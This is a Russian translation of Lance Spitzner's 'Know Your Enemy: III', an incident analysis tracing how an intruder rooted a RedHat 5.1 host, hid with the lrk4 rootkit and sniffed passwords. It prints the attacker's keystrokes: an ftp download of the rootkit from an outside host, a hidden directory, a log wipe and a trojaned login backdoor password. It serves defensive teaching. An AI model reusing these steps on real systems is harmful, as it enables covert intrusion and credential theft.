The Attack of the Script Kiddie                 http://security.tsu.ru/info/unix/lance/enemy3.html
Know  Your Enemy:III
Lance Spitzner, June 18,1999
_________________________________________________________________________________

Знай своего врага: III

Эта статья - третья из серии "Знай своего врага".
Первая часть  рассматривает методы, применяемые Script Kiddies  для поиска уязвимостей, определения уязвимостей и их использования.
Вторая часть рассматривает: 1)- как определить эти попытки, 2)- средства, применяемые Script Kiddie и 3)- какие уязимости они пытаются найти.
Данная статья обсуждает то, что случится, если Script Kiddie получит права рута, как он будет маскировать свои действия и что будет делать дальше.

Кто такой Script Kiddie

Как мы выяснили в первой статье, за понятием Script Kiddie стоит не столько человек, сколько стратегия, стратегия поиска легкой добычи. Цель - получение прав рута наиболее простым путем. Это достигается применением небольшого количества способов взлома и поиском жертвы в Интернет. Рано или поздно они находят уязвимую систему.
Как только это случилось и права рута получен, скрываются следы своего пребывания. Они хотят быть уверенными в том, что Вы не обнаружите, что Ваша система взломана и что Ваши логи ничего Вам не расскажут. Затем, они используют Вашу систему для сканирования других сетей либо незаметно будут следить за  Вашей. Для того, чтобы хорошо понять, как все это они будут осуществлять, мы проследим шаг за шагом за взломом системы неким хакером, использующим тактику ScriptKiddie. Система называется mozart, на ней установлен RedHat5.1, взломана 27 апреля 1999г. Ниже описаны шаги по поимке хакера с помощью логов и ключевые приемы для проверки каждого его шага. Все системные логи записывались на защищенный syslog-сервер, все ключевые приемы были перехвачены с помощью sniffit.

Взлом

27 апреля 1999г. в 00:13 наша сеть сканировалась системой на предмет поиска некоторых уязвимостей, включая imap. Наш хакер вломился шумно, просканировав каждый хост в сетке (см. вторую часть, где описано, как определить и проанализировать скан):

Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174
Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174
Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174

Очевидно, он нашел, то что искал, и вернулся в 00:52 и в 16:47 в тот же день. Он начал с более основательного сканирования, но сосредоточился на mozart. Он определил слабые места и успешно атаковал mountd, хорошо известный своими дырами в RedHat5.1. Мы видим в /var/log/messages, что хакер получил права рута. Вероятнее всего, средство, которое он использовал, -ADMmountd.c либо что-то похожее на него.

Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS client 208.252.226.174.
Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together
Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~

Следуя по пятам за хакером, мы обнаружим с помощью /var/log/messages, что он получил права рута, зайдя телнетом как юзер crack0, а затем сделав su юзеру rewt. Эти эккаунты были добавлены скриптом взлома. Теперь наш хакер имеет полный контроль над системой.

Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not known to the underlying authentication module
Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user crak0 by (uid=0)
Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net
Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt by crak0(uid=0)

Заметая свои следы

Хакер теперь сидит рутом в нашей системе и думает, как же скрыть свое присутствие. Во-первых, он проверяет, есть ли еще кто-нибудь кроме него в системе.

[crak0@mozart /tmp]$ w
  4:48pm  up 1 day, 18:27,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
crak0    ttyp0    1Cust102.tnt1.lo  4:48pm  0.00s  0.23s  0.04s  w

Убедившись, что горизонт чист, он начинает действовать. Ему необходимо удалить из логов улики и заменить system binaries на троянов (например, ps, netstat, чтобы Вы не обнаружили его присутствие рядом). Как только трояны размещены, хакер получает полный контроль над Вашей системой, и Вы скорее всего никогда не узнаете об этом. Наряду с автоматизированными скриптами для взлома существуют также и автоматизированные средства сокрытия взломщиков, часто называемые rootkits. Одно из наиболее известных - lrk4. Этот скрипт подменяет важные файлы, которые могли бы помочь Вам в обнаружении присутствия взломщика в Вашей системе, и скрывает хакера в считанные секунды. Более детальная информация - в readme от lrk4, она объяснит принцип действия rootkit.
Через минуты после взлома нашей системы мы видим, как хакер скачивает rootkit и затем инсталлирует его с помощью команды "make install". Ниже приведены основные ключевые приемы по сокрытию своего присутствия.

cd /dev/
su rewt
mkdir ". "
cd ". "
ftp technotronic.com
anonymous
fdfsfdsdfssd@aol.com
cd /unix/trojans
get lrk4.unshad.tar.gz
quit
ls
tar -zxvf lrk4.unshad.tar.gz
mv lrk4 proc
mv proc ". "
cd ". "
ls
make install

Обратите внимание, что первое, что делает хакер, - создает скрытую директорию ". ", чтобы скрыть свой toolkit.
Такую директорию "ls -l"  не покажет, она выглядит как локальная дирестория, если применить "ls -la". Единственный способ ее обнаружить - воспользоваться find (если, конечно, он уже не подменен).

mozart #find / -depth -name "*.*"
/var/lib/news/.news.daily
/var/spool/at/.SEQ
/dev/. /. /procps-1.01/proc/.depend
/dev/. /.
/dev/.

Этот взломщик набил руку в применении троянов, но логи подчищает очень просто. Вместо того, чтобы применить "чистящее средство" типа zap2 или clean, он просто копирует /dev/null в файл /var/run/utmp и /var/log/utmp, вместо того, чтобы удалить /var/log/wtmp. Вы поймете, что что-то не так, обнаружив эти логи пустыми либо если получите следующее сообщение об ошибке:

[root@mozart sbin]# last -10
last: /var/log/wtmp: No such file or directory
Perhaps this file was removed by the operator to prevent logging last info.

Следующий шаг

За взломом обычно следуют две вещи: либо Ваша система используется в качестве стартовой площадки для дальнейших сканирований - взломов других систем, либо хакер решит залечь на дно и подождать, вдруг удастся стащить эккауты к другим системам. Наш хакер выбрал второй путь, затаился и высматривает, что еще можно узнать у Вас. Он применил sniffer, который перехватывает весь сетевой трафик, включая telnet- и ftp-сессии к другим системам. Таким образом он узнает логины и пароли. Мы видим из /var/log/messages, что после взлома система работает в режиме сбоя:

Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode.
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode.

После замены системных binaries на тояны, очистки логов и запуска сниффера, наш взломщик покинул систему. Но он вернулся на следующий день забрать перехваченный сниффером траффик.

Контроль взлома

Я воспользовался его уходом для того, чтобы проверить свою систему и увидеть, что же с ней точно произошло. Мне было крайне интересно, что подменено и где он держит украденную сниффером информацию.
Первое я быстро обнаружил с помощью Tripwire:

added:   -rw-r--r-- root            5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid
added:   -rw-r--r-- root          272 Apr 27 17:18:09 1999 /usr/sbin/tcp.log
changed: -rws--x--x root        15588 Jun  1 05:49:22 1998 /bin/login
changed: drwxr-xr-x root        20480 Apr 10 14:44:37 1999 /usr/bin
changed: -rwxr-xr-x root        52984 Jun 10 04:49:22 1998 /usr/bin/find
changed: -r-sr-sr-x root       126600 Apr 27 11:29:18 1998 /usr/bin/passwd
changed: -r-xr-xr-x root        47604 Jun  3 16:31:57 1998 /usr/bin/top
changed: -r-xr-xr-x root         9712 May  1 01:04:46 1998 /usr/bin/killall
changed: -rws--s--x root       116352 Jun  1 20:25:47 1998 /usr/bin/chfn
changed: -rws--s--x root       115828 Jun  1 20:25:47 1998 /usr/bin/chsh
changed: drwxr-xr-x root         4096 Apr 27 17:01:16 1999 /usr/sbin
changed: -rwxr-xr-x root       137820 Jun  5 09:35:06 1998 /usr/sbin/inetd
changed: -rwxr-xr-x root         7229 Nov 26 00:02:19 1998 /usr/sbin/rpc.nfsd
changed: -rwxr-xr-x root       170460 Apr 24 00:02:19 1998 /usr/sbin/in.rshd
changed: -rwxr-x--- root       235516 Apr  4 22:11:56 1999 /usr/sbin/syslogd
changed: -rwxr-xr-x root        14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd
changed: drwxr-xr-x root         2048 Apr  4 16:52:55 1999 /sbin
changed: -rwxr-xr-x root        19840 Jul  9 17:56:10 1998 /sbin/ifconfig
changed: -rw-r--r-- root          649 Apr 27 16:59:54 1999 /etc/passwd

Как Вы видете, изменено много файлов. В файле /etc/passwd нет новых записей ( он удалил rewt и crack0), так что хакер должен был оставить потайную дверку в одном из измененых binaries. Также добавлены 2 файла: /usr/sbin/sniff.pid и /usr/sbin/tcp.log. Не удивительно, что /usr/sbin/sniff.pid - pid сниффера, а  /usr/sbin/tcp.log был там, где он хранил большую часть перехваченоой информации. С помощью /usr/sbin/sniff.pid сниффер становится rpc.nfsd. Наш хакер скомпилировал сниффер, в данном случае linsniffer, и подменил им rpc.nfsd. Итак, теперь, если система будет перегружена, сниффер будет снова запущен init-процессом. Строки, подтверждающие эту подмену:

mozart #strings /usr/sbin/rpc.nfsd | tail -15
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN]
%s =>
%s [%d]
sniff.pid
eth0
tcp.log
cant open log
rm %s

После того, как я все это обнаружил и понял, что же произошло, я оставил систему одну. Мне было интересно узнать, что же он будет делать дальше? Я не хотел, чтобы он узнал, что я поймал его, поэтому я удалил записи о себе из /usr/sbin/tcp.log.

Script Kiddie возвращается.

И он вернулся. На следующий день. Так как я вел лог по его шагам,  я легко определил backdoor - /bin/login был трояном. Этот binary, используемый для телнет-коннектов, был сконфигурирован так, что давал  эккаунту rewt рутовские права с паролем "satori". Этот проль - традиционный пароль для троянов, которые использует lrk4, не позволяя Вам догадаться, что Ваша система взломана.
Хакер проверил, функционирует ли его сниффер. Дальше он захотел узнать, есть ли новые перехваченные эккаунты со вчерашнего дня. Вы можете посмотреть, какими приемами он пользовался, здесь -  HTTP://security.tsu.ru/info/unix/lance/keystrokes.txt
Обратите внимание на конец лога - хакер уничтожил сниффера. Это последнее, что он сделал перед окончанием сессии. Однако он вернулся через несколько минут, начав другую сессию и вернув сниффер на место. Я не знаю, почему.
Это длилось в течение нескольких дней. Каждый день хакер подключался, проверял, на месте ли сниффер и перехватил ли он какие-либо данные. Через 4 дня  я решил, что с меня достаточно, и отключил систему. Я достаточно хорошо изучил его методы и больше ничего бы нового не узнал.

Заключение

Итак, мы посмотрели, как хакер может действовать. Его тактика популярна в данное время, новые взломы могут действовать по другому. Чтоб защитить себя, я настоятельно рекомендую "укрепить оборону". Это обычно спасает от Script Kiddies, любителей легкой добычи.  Как защитить себя ? Смотри Armoring Linux or Armoring Solaris.
Ну, а если уже поздно, прочтите  "Recovering from incident" на сайте www.cert.org.



Перевод sciurus@mail.ru
4 апреля 2000г.